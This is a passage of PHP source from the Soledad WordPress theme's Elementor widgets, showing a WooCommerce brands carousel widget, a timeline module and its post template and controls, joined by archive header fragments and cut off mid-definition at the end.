			'description'  => esc_html__( 'If "YES" pagination control will be removed.', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'default'      => 'true',
			'label_on'     => esc_html__( 'Yes', 'soledad' ),
			'label_off'    => esc_html__( 'No', 'soledad' ),
			'return_value' => 'false',
			'condition'    => [
				'style' => 'carousel',
			],
		] );

		$this->add_control( 'hide_prev_next_buttons', [
			'label'        => esc_html__( 'Hide prev/next buttons', 'soledad' ),
			'description'  => esc_html__( 'If "YES" prev/next control will be removed', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'default'      => 'true',
			'label_on'     => esc_html__( 'Yes', 'soledad' ),
			'label_off'    => esc_html__( 'No', 'soledad' ),
			'return_value' => 'false',
			'condition'    => [
				'style' => 'carousel',
			],
		] );

		$this->add_control( 'carousel_slider_effect', array(
			'label'       => __( 'Carousel Slider Effect', 'soledad' ),
			'description' => __( 'The "Swing" effect does not support the loop option.', 'soledad' ),
			'type'        => Controls_Manager::SELECT,
			'default'     => get_theme_mod( 'penci_carousel_slider_effect', 'swing' ),
			'options'     => array(
				'default' => 'Default',
				'swing'   => 'Swing',
			),
		) );

		$this->add_control( 'wrap', [
			'label'        => esc_html__( 'Slider loop', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'default'      => 'false',
			'label_on'     => esc_html__( 'Yes', 'soledad' ),
			'label_off'    => esc_html__( 'No', 'soledad' ),
			'return_value' => 'true',
			'condition'    => [
				'style' => 'carousel',
			],
		] );

		$this->add_control( 'autoplay', [
			'label'        => esc_html__( 'Slider autoplay', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'default'      => 'false',
			'label_on'     => esc_html__( 'Yes', 'soledad' ),
			'label_off'    => esc_html__( 'No', 'soledad' ),
			'return_value' => 'true',
		] );

		$this->add_control( 'speed', [
			'label'       => esc_html__( 'Slider speed', 'soledad' ),
			'description' => esc_html__( 'Duration of animation between slides (in ms)', 'soledad' ),
			'default'     => '300',
			'type'        => Controls_Manager::NUMBER,
			'condition'   => [
				'autoplay' => 'yes',
			],
		] );

		$this->add_control( 'scroll_carousel_init', [
			'label'        => esc_html__( 'Init carousel on scroll', 'soledad' ),
			'description'  => esc_html__( 'This option allows you to init carousel script only when visitor scroll the page to the slider. Useful for performance optimization.', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'default'      => 'false',
			'label_on'     => esc_html__( 'Yes', 'soledad' ),
			'label_off'    => esc_html__( 'No', 'soledad' ),
			'return_value' => 'true',
		] );

		$this->end_controls_section();

		/**
		 * Carousel settings.
		 */
		$this->start_controls_section( 'brand_style_section', [
			'label' => esc_html__( 'Brand Style', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		] );

		$this->add_control( 'brand_text_color', array(
			'label'     => __( 'Brand Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .brands-style-bordered.brands-list .brand-item > a' => 'color: {{VALUE}};',
			),
			'condition' => [
				'style' => 'list',
			],
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'brand_text_typo',
			'label'     => __( 'Brand Text Typography', 'soledad' ),
			'selector'  => '{{WRAPPER}} .brands-style-bordered.brands-list .brand-item > a',
			'condition' => [
				'style' => 'list',
			],
		) );

		$this->add_control( 'brand_border_color', array(
			'label'     => __( 'Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .brands-style-bordered .brand-item'                      => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .brands-style-bordered.brands-carousel .owl-stage-outer' => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .brands-style-bordered'                                  => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .brands-style-bordered.brands-list .brand-item > a'      => 'border-bottom-color: {{VALUE}};',
			),
			'condition' => [
				'brand_style' => 'bordered',
			],
		) );

		$this->add_control( 'carousel_border_color', array(
			'label'     => __( 'Carousel Navigation <br> Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-owl-carousel-slider .penci-owl-dot span' => 'border-color: {{VALUE}};',
			),
			'condition' => [
				'style' => 'carousel',
			],
		) );

		$this->add_control( 'carousel_bg_color', array(
			'label'     => __( 'Carousel Navigation <br> Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-owl-carousel-slider .penci-owl-dot span' => 'background-color: {{VALUE}};',
			),
			'condition' => [
				'style' => 'carousel',
			],
		) );

		$this->add_control( 'carousel_border_active_color', array(
			'label'     => __( 'Carousel Navigation <br> Active Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-owl-carousel-slider .penci-owl-dot.active span' => 'border-color: {{VALUE}};',
			),
			'condition' => [
				'style' => 'carousel',
			],
		) );

		$this->add_control( 'carousel_bg_active_color', array(
			'label'     => __( 'Carousel Navigation <br> Active Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-owl-carousel-slider .penci-owl-dot.active span' => 'background-color: {{VALUE}};',
			),
			'condition' => [
				'style' => 'carousel',
			],
		) );

		$this->end_controls_section();

		$this->register_block_title_style_section_controls();
	}

	/**
	 * Render the widget output on the frontend.
	 *
	 * Written in PHP and used to generate the final HTML.
	 *
	 * @since 1.0.0
	 *
	 * @access protected
	 */
	protected function render() {
		$default_settings = [
			'number'               => 20,
			'hover'                => 'default',
			'target'               => '_self',
			'link'                 => '',
			'ids'                  => '',
			'style'                => 'carousel',
			'brand_style'          => 'default',
			'slides_per_view'      => 3,
			'columns'              => 3,
			'orderby'              => '',
			'hide_empty'           => 0,
			'order'                => 'ASC',
			'scroll_carousel_init' => 'no',
			'custom_sizes'         => apply_filters( 'penci_brands_shortcode_custom_sizes', false ),
		];

		$settings = wp_parse_args( $this->get_settings_for_display(), $default_settings );

		$carousel_id = 'brands_' . rand( 1000, 9999 );

		$attribute = get_theme_mod( 'penci_woocommerce_brand_attr' );

		if ( empty( $attribute ) || ! taxonomy_exists( $attribute ) ) {
			echo '<div class="penci-notice penci-info">' . esc_html__( 'You must select your brand attribute in Appearance -> Customize -> WooCommerce > Brands', 'soledad' ) . '</div>';

			return;
		}

		$settings['columns']         = isset( $settings['columns']['size'] ) ? $settings['columns']['size'] : 3;
		$settings['slides_per_view'] = isset( $settings['slides_per_view']['size'] ) ? $settings['slides_per_view']['size'] : 3;

		$this->add_render_attribute( [
			'wrapper' => [
				'class' => [
					'brands-items-wrapper',
					'brands-widget',
					'slider-' . $carousel_id,
					'brands-hover-' . $settings['hover'],
					'brands-style-' . $settings['brand_style'],
				],
				'id'    => [
					$carousel_id,
				],
			],
			'items'   => [
				'class' => [
					'brand-item',
				],
			],
		] );

		if ( $settings['style'] ) {
			$this->add_render_attribute( 'wrapper', 'class', 'brands-' . $settings['style'] );
		}

		if ( 'carousel' === $settings['style'] ) {
			$settings['scroll_per_page'] = 'yes';
			$settings['carousel_id']     = $carousel_id;

			$this->add_render_attribute( 'items_wrapper', 'class', 'swiper penci-owl-carousel penci-owl-carousel-slider ' );
			$this->add_render_attribute( 'wrapper', 'class', 'penci-carousel-container' );

			$this->add_render_attribute( 'items_wrapper', 'data-item', isset( $settings['slides_per_view'] ) ? $settings['slides_per_view'] : 3 );
			$this->add_render_attribute( 'items_wrapper', 'data-desktop', isset( $settings['slides_per_view'] ) ? $settings['slides_per_view'] : 3 );
			$this->add_render_attribute( 'items_wrapper', 'data-dots', $settings['hide_pagination_control'] );
			$this->add_render_attribute( 'items_wrapper', 'data-nav', $settings['hide_prev_next_buttons'] );
			$this->add_render_attribute( 'items_wrapper', 'data-loop', $settings['wrap'] );
			$this->add_render_attribute( 'items_wrapper', 'data-ceffect', $settings['carousel_slider_effect'] );
			$this->add_render_attribute( 'items_wrapper', 'data-auto', $settings['autoplay'] );
			$this->add_render_attribute( 'items_wrapper', 'data-speed', $settings['speed'] );
			$this->add_render_attribute( 'items_wrapper', 'data-lazy', $settings['scroll_carousel_init'] );
			$this->add_render_attribute( 'items', 'class', 'swiper-slide' );

			if ( 'yes' === $settings['scroll_carousel_init'] ) {
				$this->add_render_attribute( 'wrapper', 'class', 'scroll-init' );
			}

			if ( get_theme_mod( 'penci_disable_owl_mobile_devices' ) ) {
				$this->add_render_attribute( 'wrapper', 'class', 'disable-owl-mobile' );
			}
		} else {
			$this->add_render_attribute( 'items_wrapper', 'class', 'penci-custom-row row-' . $settings['columns'] );
			$this->add_render_attribute( 'items', 'class', 'column-item' );
		}

		$args = array(
			'taxonomy'   => $attribute,
			'hide_empty' => $settings['hide_empty'],
			'order'      => $settings['order'],
			'number'     => $settings['number'],
		);

		if ( $settings['orderby'] ) {
			$args['orderby'] = $settings['orderby'];
		}

		if ( 'random' === $settings['orderby'] ) {
			$args['orderby'] = 'id';
			$brand_count     = wp_count_terms( $attribute, array(
				'hide_empty' => $settings['hide_empty'],
			) );

			$offset = rand( 0, $brand_count - (int) $settings['number'] );
			if ( $offset <= 0 ) {
				$offset = '';
			}
			$args['offset'] = $offset;
		}

		if ( $settings['ids'] ) {
			$args['include'] = $settings['ids'];
		}

		$brands   = get_terms( $args );
		$taxonomy = get_taxonomy( $attribute );

		if ( 'random' === $settings['orderby'] ) {
			shuffle( $brands );
		}

		if ( penci_is_shop_on_front() ) {
			$link = home_url();
		} else {
			$link = get_post_type_archive_link( 'product' );
		}

		?>
        <div class="penci-product-brand-wrapper">
			<?php $this->markup_block_title( $this->get_settings(), $this ); ?>

            <div <?php echo $this->get_render_attribute_string( 'wrapper' ); ?>>
                <div <?php echo $this->get_render_attribute_string( 'items_wrapper' ); ?>>
					<?php if ( 'carousel' === $settings['style'] ) {
						echo '<div class="swiper-wrapper">';
					} ?>
					<?php if ( ! is_wp_error( $brands ) && count( $brands ) > 0 ) : ?>
						<?php foreach ( $brands as $key => $brand ) : ?>
							<?php
							$image       = get_term_meta( $brand->term_id, 'image', true );
							$filter_name = 'filter_' . sanitize_title( str_replace( 'pa_', '', $attribute ) );

							if ( is_object( $taxonomy ) && $taxonomy->public ) {
								$attr_link = get_term_link( $brand->term_id, $brand->taxonomy );
							} else {
								$attr_link = add_query_arg( $filter_name, $brand->slug, $link );
							}
							?>

                            <div <?php echo $this->get_render_attribute_string( 'items' ); ?>>
                                <a title="Brand <?php echo esc_html( $brand->name ); ?>"
                                   href="<?php echo esc_url( $attr_link ); ?>">
									<?php if ( 'list' === $settings['style'] || ! $image ) : ?>
                                        <span class="brand-title-wrap">
										<?php echo esc_html( $brand->name ); ?>
									</span>
									<?php else : ?>
										<?php echo '<img src="' . wp_get_attachment_image_url( $image, 'full' ) . '" alt="' . $brand->name . '" title="' . $brand->name . '">'; ?>
									<?php endif; ?>
                                </a>
                            </div>
						<?php endforeach; ?>
					<?php endif; ?>
					<?php if ( 'carousel' === $settings['style'] ) {
						echo '</div>';
					} ?>
                </div>
            </div>
        </div>
		<?php
	}
}
PK     1w\DP X  X  +  elementor/modules/penci-timeline/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciTimeline;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly

class Module extends Module_Base {

	public function get_name() {
		return 'penci-timeline';
	}

	public function get_widgets() {

		return array( 'PenciTimeline' );
	}
}
PK     1w\I|    1  elementor/modules/penci-timeline/widgets/post.phpnu [        <div class="penci-clearfix penci-biggrid-wrapper penci-grid-col-1 penci-grid-mcol-1 penci-bgrid-based-post penci-bgrid-style-1 pcbg-ficonpo-top-right pcbg-reiconpo-top-left penci-bgrid-content-below pencibg-imageh-none pencibg-texth-none pencibg-textani-movetop textop pc-flexmnld">
    <div class="penci-clearfix penci-biggrid penci-bgstyle-1 penci-bgel">
        <div class="penci-biggrid-inner default">
            <div class="penci-clearfix penci-biggrid-data penci-dflex">
                <div class="penci-bgitem">
                    <div class="penci-bgitin">
                        <div class="penci-bgmain">
                            <?php if ( $show_image ) : ?>
                            <div class="pcbg-thumb">
                            <?php
                            do_action( 'penci_bookmark_post', get_the_ID() );
                            ?>
                                <div class="pcbg-thumbin"><a class="pcbg-bgoverlay"
                                                             href="<?php the_permalink(); ?>"
                                                             title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
                                    <div <?php echo penci_layout_bg(penci_image_srcset( get_the_ID(), $thumbnail, $mthumb_size ),! $disable_lazy);?> class="<?php echo penci_layout_bg_class(! $disable_lazy);?> penci-image-holder">
                                        <?php echo penci_layout_img(penci_image_srcset( get_the_ID(), $thumbnail, $mthumb_size ),get_the_title(),! $disable_lazy);?>
                                    </div>
                                </div>
                            </div>
                            <?php endif; ?>
                            <div class="pcbg-content">
                                <div class="pcbg-content-flex"><a class="pcbg-bgoverlay"
                                                                  href="<?php the_permalink(); ?>"
                                                                  title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
                                    <div class="pcbg-content-inner bgcontent-block"><a
                                                href="<?php the_permalink(); ?>"
                                                title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                                class="pcbg-bgoverlaytext item-hover"></a>

                                        <?php if ( $showcat ) : ?>
                                            <div class="pcbg-above item-hover">
                                                <span class="cat pcbg-sub-title">
                                                    <?php penci_category( '', $primary_cat ); ?>
                                                </span>
                                            </div>
                                        <?php endif; ?>

                                        <div class="pcbg-heading item-hover">
                                            <?php if ( $show_title ) : ?>
                                            <h3 class="pcbg-title" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
                                                <a href="<?php the_permalink(); ?>">
													<?php the_title(); ?>
                                                </a>
                                            </h3>
                                            <?php endif; ?>
                                        </div>
                                        <div class="grid-post-box-meta pcbg-meta item-hover">
                                            <?php if ( $show_meta ) : ?>
                                            <div class="pcbg-meta-desc">
                                                <span class="bg-date-author author-italic author vcard">
                                                    <?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
                                                        penci_coauthors_posts_links();
                                                    else: ?>
                                                        <a class="author-url url fn n"
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
                                                    <?php endif; ?>
                                                </span>
                                                <span class="bg-date"><?php penci_soledad_time_link(); ?></span>
                                                <?php do_action( 'penci_extra_meta' ); ?>
                                            </div>
                                            <?php endif; ?>
                                            <?php if ( $excerpt ) : ?>
                                            <div class="pcbg-pexcerpt">
                                                <?php penci_the_excerpt( $excerpt_length ); ?>
                                            </div>
                                        <?php endif; ?>
                                        </div>
                                        <?php if ( $readmore ) : ?>
                                        <div class="pcbg-readmore-sec item-hover">
                                            <a href="<?php the_permalink(); ?>"
                                               class="pcbg-readmorebtn <?php echo 'pcreadmore-icon-' . $readmore_icon_pos; ?>">
                                                <span class="pcrm-text"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></span>
												<?php if ( $readmore_icon ): ?>
													<?php \Elementor\Icons_Manager::render_icon( $readmore_icon ); ?>
												<?php endif; ?>
                                            </a>
                                        </div>
                                        <?php endif; ?>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>PK     1w\P%  %  ;  elementor/modules/penci-timeline/widgets/penci-timeline.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciTimeline\Widgets;

use Elementor\Repeater;
use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Border;
use Elementor\Group_Control_Box_Shadow;
use Elementor\Group_Control_Typography;
use Elementor\Group_Control_Image_Size;
use Elementor\Group_Control_Background;
use Elementor\Icons_Manager;
use Elementor\Utils;

use PenciSoledadElementor\Modules\QueryControl\Module as Query_Control;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
} // Exit if accessed directly

class PenciTimeline extends Base_Widget {

	public function get_name() {
		return 'penci-timeline';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Timeline', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-time-line';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return [ 'timeline', 'history', 'statistics' ];
	}

	public function get_style_depends() {
		return [ 'penci-timeline' ];
	}

	public function get_script_depends() {
		return [ 'penci-timeline' ];
	}

	protected function register_controls() {
		$this->start_controls_section(
			'section_content_layout',
			[
				'label' => esc_html__( 'Layout', 'soledad' ),
			]
		);

		$this->add_control(
			'timeline_source',
			[
				'label'   => esc_html__( 'Source', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'post',
				'options' => [
					'post'   => __( 'Post', 'soledad' ),
					'custom' => __( 'Custom Content', 'soledad' ),
				],
			]
		);

		$this->add_control(
			'timeline_align',
			[
				'label'   => esc_html__( 'Layout', 'soledad' ),
				'type'    => Controls_Manager::CHOOSE,
				'default' => 'center',
				'toggle'  => false,
				'options' => [
					'left'   => [
						'title' => esc_html__( 'Left', 'soledad' ),
						'icon'  => 'eicon-h-align-left',
					],
					'center' => [
						'title' => esc_html__( 'Center', 'soledad' ),
						'icon'  => 'eicon-h-align-center',
					],
					'right'  => [
						'title' => esc_html__( 'Right', 'soledad' ),
						'icon'  => 'eicon-h-align-right',
					],
				],
			]
		);

		$this->add_control(
			'timeline_center_side',
			[
				'label'     => esc_html__( 'Center Side', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => '',
				'options'   => [
					''      => __( 'Default', 'soledad' ),
					'left'  => __( 'Left', 'soledad' ),
					'right' => __( 'Right', 'soledad' ),
				],
				'condition' => [
					'timeline_align' => 'center',
				],
			]
		);

		$this->add_responsive_control( 'timeline_center_width', array(
			'label'     => __( 'Custom Content Width', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( '%' => array( 'min' => 10, 'max' => 100, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-tiline-align-center .penci-tiline-item:nth-child(odd)'  => 'width: {{SIZE}}%',
				'{{WRAPPER}} .penci-tiline-align-center .penci-tiline-item:nth-child(even)' => 'width: calc( 100% - {{SIZE}}% )',
			),
			'condition' => [
				'timeline_align' => 'center',
			],
		) );

		$this->end_controls_section();

		$this->register_query_section_controls( false, [ 'timeline_source' => 'post' ] );

		$this->start_controls_section(
			'section_custom_content',
			[
				'label'     => esc_html__( 'Custom Content', 'soledad' ),
				'condition' => [
					'timeline_source' => 'custom'
				]
			]
		);

		$repeater = new Repeater();

		$repeater->start_controls_tabs( 'tabs_timeline' );

		$repeater->start_controls_tab(
			'timeline_tab_content',
			[
				'label' => esc_html__( 'Content', 'soledad' ),
			]
		);

		$repeater->add_control(
			'timeline_title',
			[
				'label'   => esc_html__( 'Title', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => esc_html__( 'This is Timeline Item 1 Title', 'soledad' ),
			]
		);

		$repeater->add_control(
			'timeline_subtitle',
			[
				'label'   => esc_html__( 'Sub-Title', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => 'This is Timeline Item Sub-Title',
			]
		);
		
		$repeater->add_control(
			'timeline_date',
			[
				'label'   => esc_html__( 'Date', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => '31 December 2018',
			]
		);

		$repeater->add_control(
			'timeline_image',
			[
				'label'   => esc_html__( 'Image', 'soledad' ),
				'type'    => Controls_Manager::MEDIA,
				'default' => [
					'url' => Utils::get_placeholder_image_src(),
				],
			]
		);

		$repeater->add_control(
			'timeline_text',
			[
				'label'   => esc_html__( 'Content', 'soledad' ),
				'type'    => Controls_Manager::WYSIWYG,
				'default' => esc_html__( 'I am timeline item content. Click edit button to change this text. A wonderful serenity has taken possession of my entire soul, like these sweet mornings of spring which I enjoy with my whole heart. I am alone, and feel the charm of existence in this spot, which was created for the bliss of souls like mine.', 'soledad' ),
			]
		);

		$repeater->add_control(
			'timeline_link',
			[
				'label'       => esc_html__( 'Button Link', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'placeholder' => 'https://example.com',
				'default'     => 'https://example.com',
			]
		);

		$repeater->add_control(
			'timeline_select_icon',
			[
				'label'            => esc_html__( 'Icon', 'soledad' ),
				'type'             => Controls_Manager::ICONS,
				'fa4compatibility' => 'timeline_icon',
				'default'          => [
					'value'   => 'fas fa-file-alt',
					'library' => 'fa-solid',
				],
			]
		);

		$repeater->end_controls_tab();

		$repeater->start_controls_tab(
			'timeline_tab_style',
			[
				'label' => esc_html__( 'Style', 'soledad' ),
			]
		);

		$repeater->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'     => 'timeline_item_background',
				'types'    => [ 'classic', 'gradient' ],
				'selector' => '{{WRAPPER}} .penci-tiline .penci-tiline-item-main-container {{CURRENT_ITEM}}, {{WRAPPER}} .penci-tiline .penci-tiline-content {{CURRENT_ITEM}}',
			]
		);

		$repeater->add_control(
			'item_border_color',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-item-main-container {{CURRENT_ITEM}}, {{WRAPPER}} .penci-tiline .penci-tiline-content {{CURRENT_ITEM}}' => '--pcborder-cl: {{VALUE}};',
				],
			]
		);

		$repeater->end_controls_tab();

		$repeater->end_controls_tabs();

		$this->add_control(
			'timeline_items',
			[
				'label'       => esc_html__( 'Timeline Items', 'soledad' ),
				'type'        => Controls_Manager::REPEATER,
				'fields'      => $repeater->get_controls(),
				'default'     => [
					[
						'timeline_title'       => esc_html__( 'This is Timeline Item 1 Title', 'soledad' ),
						'timeline_text'        => esc_html__( 'I am timeline item content. Click edit button to change this text. A wonderful serenity has taken possession of my entire soul, like these sweet mornings of spring which I enjoy with my whole heart. I am alone, and feel the charm of existence in this spot, which was created for the bliss of souls like mine.', 'soledad' ),
						'timeline_select_icon' => [ 'value' => 'fas fa-file-alt', 'library' => 'fa-solid' ],
					],
					[
						'timeline_title'       => esc_html__( 'This is Timeline Item 2 Title', 'soledad' ),
						'timeline_text'        => esc_html__( 'I am timeline item content. Click edit button to change this text. A wonderful serenity has taken possession of my entire soul, like these sweet mornings of spring which I enjoy with my whole heart. I am alone, and feel the charm of existence in this spot, which was created for the bliss of souls like mine.', 'soledad' ),
						'timeline_select_icon' => [ 'value' => 'fas fa-file-alt', 'library' => 'fa-solid' ],
					],
					[
						'timeline_title'       => esc_html__( 'This is Timeline Item 3 Title', 'soledad' ),
						'timeline_text'        => esc_html__( 'I am timeline item content. Click edit button to change this text. A wonderful serenity has taken possession of my entire soul, like these sweet mornings of spring which I enjoy with my whole heart. I am alone, and feel the charm of existence in this spot, which was created for the bliss of souls like mine.', 'soledad' ),
						'timeline_select_icon' => [ 'value' => 'fas fa-file-alt', 'library' => 'fa-solid' ],
					],
					[
						'timeline_title'       => esc_html__( 'This is Timeline Item 4 Title', 'soledad' ),
						'timeline_text'        => esc_html__( 'I am timeline item content. Click edit button to change this text. A wonderful serenity has taken possession of my entire soul, like these sweet mornings of spring which I enjoy with my whole heart. I am alone, and feel the charm of existence in this spot, which was created for the bliss of souls like mine.', 'soledad' ),
						'timeline_select_icon' => [ 'value' => 'fas fa-file-alt', 'library' => 'fa-solid' ],
					],
				],
				'title_field' => '{{{ timeline_title }}}',
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_content_additional',
			[
				'label' => esc_html__( 'General Settings', 'soledad' )
			]
		);

		$this->add_control(
			'show_image',
			[
				'label'   => esc_html__( 'Show Thumbnail Image', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => 'yes',
			]
		);

		$this->add_group_control(
			Group_Control_Image_Size::get_type(),
			[
				'name'         => 'thumbnail_size',
				'label'        => esc_html__( 'Image Size', 'soledad' ),
				'exclude'      => [ 'custom' ],
				'default'      => 'medium',
				'prefix_class' => 'penci-tiline-thumbnail-size-',
				'condition'    => [
					'show_image' => 'yes',
				],
			]
		);

		$this->add_control(
			'dislazyload',
			[
				'label'     => esc_html__( 'Disable Image Lazyload', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'condition' => [
					'show_image'      => 'yes',
					'timeline_source' => 'post',
				]
			]
		);

		$this->add_control(
			'show_title',
			[
				'label'   => esc_html__( 'Show Title', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => 'yes',
			]
		);

		$this->add_control(
			'show_cat',
			[
				'label'   => esc_html__( 'Show Post Categories', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => 'yes',
			]
		);

		$this->add_control(
			'show_cat_pri',
			[
				'label' => esc_html__( 'Show Primay Category Only', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			]
		);

		$this->add_control(
			'title_tags',
			[
				'label'     => __( 'Title HTML Tag', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'h4',
				'options'   => [
					'h1' => 'H1',
					'h2' => 'H2',
					'h3' => 'H3',
					'h4' => 'H4',
					'h5' => 'H5',
					'h6' => 'H6',
				],
				'condition' => [
					'show_title'      => 'yes',
					'timeline_source' => 'custom',
				]
			]
		);

		$this->add_control(
			'title_link',
			[
				'label'     => esc_html__( 'Title Link', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => 'yes',
				'condition' => [
					'show_title'      => 'yes',
					'timeline_source' => 'custom',
				],
			]
		);

		$this->add_control(
			'show_meta',
			[
				'label'     => esc_html__( 'Show Post Metas', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => 'yes',
				'condition' => [
					'timeline_source' => 'post',
				],
			]
		);

		$this->add_control(
			'show_excerpt',
			[
				'label'   => esc_html__( 'Show Post Excerpt', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => 'yes',
			]
		);

		$this->add_control(
			'excerpt_length',
			[
				'label'     => esc_html__( 'Excerpt Limit', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'default'   => 15,
				'condition' => [
					'show_excerpt'    => 'yes',
					'timeline_source' => 'post',
				],
			]
		);

		$this->add_control(
			'show_readmore',
			[
				'label'   => esc_html__( 'Read More', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => 'yes',
			]
		);

		$this->add_control(
			'button_icon',
			[
				'label'            => esc_html__( 'Button Icon', 'soledad' ),
				'type'             => Controls_Manager::ICONS,
				'fa4compatibility' => 'icon',
				'label_block'      => false,
				'skin'             => 'inline'
			]
		);

		$this->add_control(
			'icon_align',
			[
				'label'     => esc_html__( 'Icon Position', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'right',
				'options'   => [
					'left'  => esc_html__( 'Left', 'soledad' ),
					'right' => esc_html__( 'Right', 'soledad' ),
				],
				'condition' => [
					'button_icon[value]!' => '',
				],
			]
		);

		$this->add_control(
			'icon_indent',
			[
				'label'     => esc_html__( 'Icon Spacing', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'default'   => [
					'size' => 8,
				],
				'range'     => [
					'px' => [
						'max' => 50,
					],
				],
				'condition' => [
					'button_icon[value]!' => '',
				],
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-button-icon-align-right, {{WRAPPER}} .pcreadmore-icon-right i, {{WRAPPER}} .pcreadmore-icon-right svg' => is_rtl() ? 'margin-right: {{SIZE}}{{UNIT}};' : 'margin-left: {{SIZE}}{{UNIT}};',
					'{{WRAPPER}} .penci-tiline .penci-button-icon-align-left, {{WRAPPER}} .pcreadmore-icon-left i, {{WRAPPER}} .pcreadmore-icon-right svg'  => is_rtl() ? 'margin-left: {{SIZE}}{{UNIT}};' : 'margin-right: {{SIZE}}{{UNIT}};',
				],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_item',
			[
				'label' => esc_html__( 'General Items', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->add_control(
			'item_background_color',
			[
				'label'     => esc_html__( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-tiline:not(.penci-tiline-posts) .penci-tiline-item-main' => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .penci-tiline:not(.penci-tiline-posts) .penci-tiline-item-main' => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .penci-biggrid-wrapper .pcbg-content-inner'     => 'background-color: {{VALUE}};',
				],
			]
		);
		
		$this->add_control(
			'arrow_background_color',
			[
				'label'     => esc_html__( 'Arrow Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-arrow' => 'background-color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'item_shadow',
				'selector' => '{{WRAPPER}} .penci-tiline:not(.penci-tiline-posts) .penci-tiline-item-main,{{WRAPPER}} .penci-tiline.penci-tiline-posts .penci-biggrid .penci-bgitin',
			]
		);

		$this->add_responsive_control(
			'item_padding',
			[
				'label'      => esc_html__( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', 'em', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-tiline:not(.penci-tiline-posts) .penci-tiline-item-main' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
